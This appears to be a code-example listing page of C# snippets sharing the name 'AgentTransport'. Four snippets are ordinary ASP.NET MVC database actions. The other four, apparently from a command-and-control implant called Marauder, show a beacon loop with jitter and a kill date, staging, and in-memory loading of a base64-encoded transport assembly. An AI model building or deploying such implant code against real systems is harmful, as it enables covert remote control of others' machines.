Ejemplo n.º 1
0
        public async Task <ActionResult> DeleteConfirmed(int id)
        {
            AgentTransport agentTransport = await db.AgentTransports.FindAsync(id);

            db.AgentTransports.Remove(agentTransport);
            await db.SaveChangesAsync();

            return(RedirectToAction("Index"));
        }
Ejemplo n.º 2
0
        public async Task <ActionResult> Edit([Bind(Include = "AgentTransportId,AgentName,Price")] AgentTransport agentTransport)
        {
            if (ModelState.IsValid)
            {
                db.Entry(agentTransport).State = EntityState.Modified;
                await db.SaveChangesAsync();

                return(RedirectToAction("Index"));
            }
            return(View(agentTransport));
        }
Ejemplo n.º 3
0
        public async Task <ActionResult> Create([Bind(Include = "AgentTransportId,AgentName,Price")] AgentTransport agentTransport)
        {
            if (ModelState.IsValid)
            {
                db.AgentTransports.Add(agentTransport);
                await db.SaveChangesAsync();

                return(RedirectToAction("Index"));
            }

            return(View(agentTransport));
        }
Ejemplo n.º 4
0
        // GET: AgentTransports/Delete/5
        public async Task <ActionResult> Delete(int?id)
        {
            if (id == null)
            {
                return(new HttpStatusCodeResult(HttpStatusCode.BadRequest));
            }
            AgentTransport agentTransport = await db.AgentTransports.FindAsync(id);

            if (agentTransport == null)
            {
                return(HttpNotFound());
            }
            return(View(agentTransport));
        }
Ejemplo n.º 5
0
        public TaskResult SetPrimaryTransport(string transportName)
        {
            TaskResult     resp      = new TaskResult();
            AgentTransport transport = Transports.FirstOrDefault(t => t.Name == transportName);

            if (transport != null)
            {
                PrimaryTransport = transport;
                resp.Success     = true;
                resp.Message     = String.Format("Primary Transport set to {0}", transportName);
            }
            else
            {
                resp.Success = false;
                resp.Message = String.Format("Could not set {0} as Primary Transport", transportName);
            }
            return(resp);
        }
Ejemplo n.º 6
0
 public void AddTransport(AgentTransport transport)
 {
     Transports.Add(transport);
 }
Ejemplo n.º 7
0
        public void Start()
        {
            while (true)
            {
                if (State.ExpirationDate.HasValue)
                {
                    int result = DateTime.Compare(DateTime.Today, State.ExpirationDate.Value);
                    if (result > 0)
                    {
#if DEBUG
                        Logging.Write("TransportService", "Payload Expired. Exiting.");
#endif
                        Environment.Exit(0);
                    }
                }
#if DEBUG
                Logging.Write("TransportService", "Starting Loop..");
                Logging.Write("TransportService", "Clearing Completed Tasks..");
#endif
                foreach (RunningTask task in State.RunningTasks.ToList())
                {
                    if (task.Task.IsFaulted)
                    {
                        TaskResult result = new TaskResult();
                        result.TaskName = task.TaskName;
                        result.Success  = false;
                        result.Complete = true;
                        if (String.IsNullOrEmpty(task.Task.Exception.InnerException.Message))
                        {
                            result.Message = "Task encountered an error, but no error message is available";
                        }
                        else
                        {
                            result.Message = task.Task.Exception.InnerException.Message;
                        }
                        State.ResultQueue.Add(result);
                    }

                    if (task.Task.IsCompleted)
                    {
                        State.RunningTasks.Remove(task);
                    }
                }

                string message  = "";
                string response = "";

                if (!String.IsNullOrEmpty(State.Name))
                {
                    message  = State.CryptoService.CreateAgentMessage();
                    response = PrimaryTransport.Beacon(State.Name, message);
                }
                else
                {
                    message = State.CryptoService.CreateStagingMessage();
                    string         name    = State.PayloadName;
                    string         id      = State.StagingId;
                    AgentTransport example = PrimaryTransport;
                    response = PrimaryTransport.Stage(State.PayloadName, State.StagingId, message);
                }
#if DEBUG
                Logging.Write("TransportService", $"Got response: {response.ToString()}");
#endif
                if (response == "ERROR")
                {
                    Attempts++;
                    if (Attempts > State.MaxAttempts)
                    {
                        Environment.Exit(0);
                    }
                }
                else
                {
                    if (String.IsNullOrEmpty(response))
                    {
#if DEBUG
                        Logging.Write("TransportService", "Empty message recieved");
#endif
                    }
                    else
                    {
#if DEBUG
                        Logging.Write("TransportService", "Announcing Message..");
#endif
                        OnMessageRecieved(this, new MessageRecievedArgs(response));
                    }
                }
                double sleep = State.Sleep;

                // Here we account for jitter
                if (State.Jitter > 0 && State.Jitter <= 1)
                {
                    double offset = State.Sleep * State.Jitter;
                    Random random = new Random();
                    double result = random.NextDouble() * (offset - (offset * -1)) + (offset * -1);
                    sleep = sleep + result;
                }
                sleep = (sleep * 1000);

#if DEBUG
                Logging.Write("TransportService", $"Sleeping for {Convert.ToInt32(sleep)} milliseconds");
#endif
                Thread.Sleep(Convert.ToInt32(sleep));
            }
        }
Ejemplo n.º 8
0
        static public void Start()
        {
            Stream settingsStream = Assembly.GetExecutingAssembly().GetManifestResourceStream("Marauder.settings.json");
            Dictionary <string, string> settings = JsonConvert.DeserializeObject <Dictionary <string, string> >((new StreamReader(settingsStream)).ReadToEnd());

            State.PayloadName      = settings["PayloadName"];
            State.Password         = settings["Password"];
            State.InitialTransport = settings["Transport"];
            State.Sleep            = Int32.Parse(settings["BeaconInterval"]);
            State.Jitter           = Double.Parse(settings["Jitter"]);

            if (!String.IsNullOrEmpty(settings["ExpirationDate"]))
            {
                State.ExpirationDate = DateTime.Parse(settings["ExpirationDate"]);
            }

            if (!String.IsNullOrEmpty(settings["Debug"]))
            {
                State.Debug = Boolean.Parse(settings["Debug"]);
            }

            State.MaxAttempts  = 20;
            State.LastTaskName = null;
#if DEBUG
            Console.Write(@"

███╗   ███╗ █████╗ ██████╗  █████╗ ██╗   ██╗██████╗ ███████╗██████╗ 
████╗ ████║██╔══██╗██╔══██╗██╔══██╗██║   ██║██╔══██╗██╔════╝██╔══██╗
██╔████╔██║███████║██████╔╝███████║██║   ██║██║  ██║█████╗  ██████╔╝
██║╚██╔╝██║██╔══██║██╔══██╗██╔══██║██║   ██║██║  ██║██╔══╝  ██╔══██╗
██║ ╚═╝ ██║██║  ██║██║  ██║██║  ██║╚██████╔╝██████╔╝███████╗██║  ██║
╚═╝     ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝
                                                                    
");

            Console.WriteLine("Starting Marauder..");

            Logging.Write("Main", String.Format("Creating Transport.."));
#endif
            byte[]         transportByte      = Convert.FromBase64String(State.InitialTransport);
            Assembly       transportAssembly  = Assembly.Load(transportByte);
            Type           transportType      = transportAssembly.GetType("Faction.Modules.Dotnet.Common.Transport");
            var            activatedTransport = Activator.CreateInstance(transportType);
            AgentTransport initialTransport   = (AgentTransport)activatedTransport;
#if DEBUG
            Logging.Write("Main", $"Loaded Transport Type: {initialTransport.Name}");
#endif
            State.TransportService = new TransportService();
            State.TransportService.AddTransport(initialTransport);
            State.TransportService.SetPrimaryTransport(initialTransport.Name);

#if DEBUG
            Logging.Write("Main", "Creating Services..");
#endif
            State.CryptoService  = new CryptoService();
            State.CommandService = new CommandService();

#if DEBUG
            Logging.Write("Main", "Loading Commands..");
#endif
            State.CommandService.AvailableCommands.Add(new TasksCommand());
            State.CommandService.AvailableCommands.Add(new ExitCommand());

#if DEBUG
            Logging.Write("Main", "Starting Marauder Loop..");
#endif

            State.TransportService.Start();
        }